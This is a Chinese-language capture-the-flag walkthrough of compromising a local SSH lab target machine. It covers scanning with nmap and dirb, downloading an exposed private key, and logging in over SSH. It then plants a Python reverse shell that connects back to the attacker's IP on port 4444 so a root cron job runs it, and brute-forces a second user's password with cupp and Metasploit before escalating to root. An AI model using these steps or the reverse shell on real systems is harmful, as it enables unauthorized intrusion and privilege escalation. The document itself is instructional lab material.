准备需要的靶机
这次也是ssh服务的靶机,有需要或者感兴趣的家人们可以私信我,放心没有什么广告收费什么的,都是免费的
kali IP 192.168.43.105
靶机 IP:192.168.43.59
我之前的文章有怎么教获取靶机的IP
渗透第一步,先扫描信息
这里使用 nmap -sV IP 开放的服务和服务信息
nmap -sV 192.168.43.59
这里开放了三个端口,其中有80端口,可以去看看网址上有什么信息
这里可以看到这可能是用户名,可以先记着
随后在来深入的扫描一下
dirb http:IP
我这里是 dirb http://192.168.43.59
得到了这么一堆东西
这里只有上面的是有用的,下面打开都是这个用的是什么服务
这时候就要去找找这里面有什么信息了
第一个是这里点一下又变回去原来 界面了
第二个:
可以看到这里有一个txt的文本文件点开看看
可以看到这是一个rsa文本文件,把它下载下来
wget 文件路径
我这里是 wget http://192.168.43.59/icons/VDSoyuAXiO.txt
下载好了之后为了好记点给它命名为id_rsa
命令 :mv 要从命名的文件 要命名的名字
然后就是给这个文件权限
chmod 600 文件名
我这里是 chmod 600 id_rsa
这里拿到了私钥,并且前面记下来的一个用户名
那就满足了ssh登入
命令: ssh -i 私钥名 用户名@IP
我这里是 ssh -i id_rsa martin@192.168.43.59
发现这里并没有设密码,随便就进来了,接下来就是提权了
pwd:查看当前路径
可以看到这个用户下并没有文件,那可以去看看有没有什么执行文件之类的,比如:/etc/crontab 文件,这是设定系统定期执行的任务,如果有除root以外的用户定制了这个任务,却没有这个文件,那可以上传一个反弹shell
cat /etc/crontab
可以看到,这里有个出root以外的执行文件,可以上传试试看,一般来说在liunx里,这个定时文件都是在tmp文件夹里,所以进入到这个文件夹里
可以看到这里是没有文件的,都是一些隐藏的文件,这时候就可以上传个反弹shell了
`#!/usr/bin/python
import os,subprocess,socket
s.= socket.socket()
s.connect((“192.168.43.105”,“4444”)) #这里是自己的攻击机IP和自己设置的端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
第一行是导入需要的模块
第二行是 攻击机的IP和监听地址
第三到第五行都是怕打错而设置的
第六行调用shell的交互模式
攻击机netcat 命令
nc -lpv 未占用端口 和上面反弹shell设置的端口要一样
查看占用端口 netstat -pantu
开启监听之后就是这样
回到tmp文件,把文件名改成执行的文件名
mv 需要改名的文件 要改的名字
我这里就是mv 1.py sekurity.py
等了好一会都没有反应,那就先挂在这,等它有结果来,这时候就找找看,能不能暴力破解
今天用到的是cupp创建字典,但是kali里没有,得自己下才行
命令如下
git clone https://github.com/jeanphorn/common-password.git
chmod +x cupp.py #赋权(可执行权限)
./cupp.py -i #以交互的方式创建字典
这样就下载好了
创建的时候开头的name是你要创建文件的名字,最后面的是让你选择
你想添加一些关于受害者的关键词吗?Y/[N]:
你想在单词的末尾加上特殊的字符吗?Y/[N]:
你想在单词的末尾加上一些随机数吗?Y/[N]
Leet模式?(即leet=1337)Y/[N]:
这个看个人需求,反正我就选了第三个,如果都不需要就一直回车就好了,然后字典就创建好了
在这里使用metasploit破解SSH
在终端中输入
msfconsole
use auxiliary/scanner.ssh.ssh_login
show options #查看当前配置
set rhosts 192.169.43.59 #远程访问的主机
set username hadi #注意我这里的haid是用户名
set pass_file /home/kali/桌面/common-password/hadi.txt #这里是你的文件路径
set threads 5
set verbose true #设置为true 每一条信息都返回
run
这里不知道路径可以点开文件夹直接看到
run 运行之后就开始暴力破解了
等它这样破解的有点满,要等一下
在这里可以看到密码是 hadi123
然后
set password hadi123 #修改密码
sessions -i 1 #连接hadi
可以看到,已经进来了,为了方便操作,把它优化一下
python -c “import pty;pty.spawn(’/bin/bash’)”
出现了熟悉的界面
su root
输入刚才得到的密码
可以看到,已经得到了root权限,接下来就是找到flag就ok了
一般来说都是在root目录下
就得到了flag
总结:在ssh服务渗透中,大部分情况是利用获取到的私钥文件,直接使用用户名和私钥文件登入靶场机器,个别情况进行暴力破解获取用户密码,用过用户名和对应的用户登录靶场机器
CTF中 /tmp 数据缓冲目录
/etc/crontab 设置定时执行的文件
温馨提示:以上代码最好自己过两遍,出发能看一眼就记住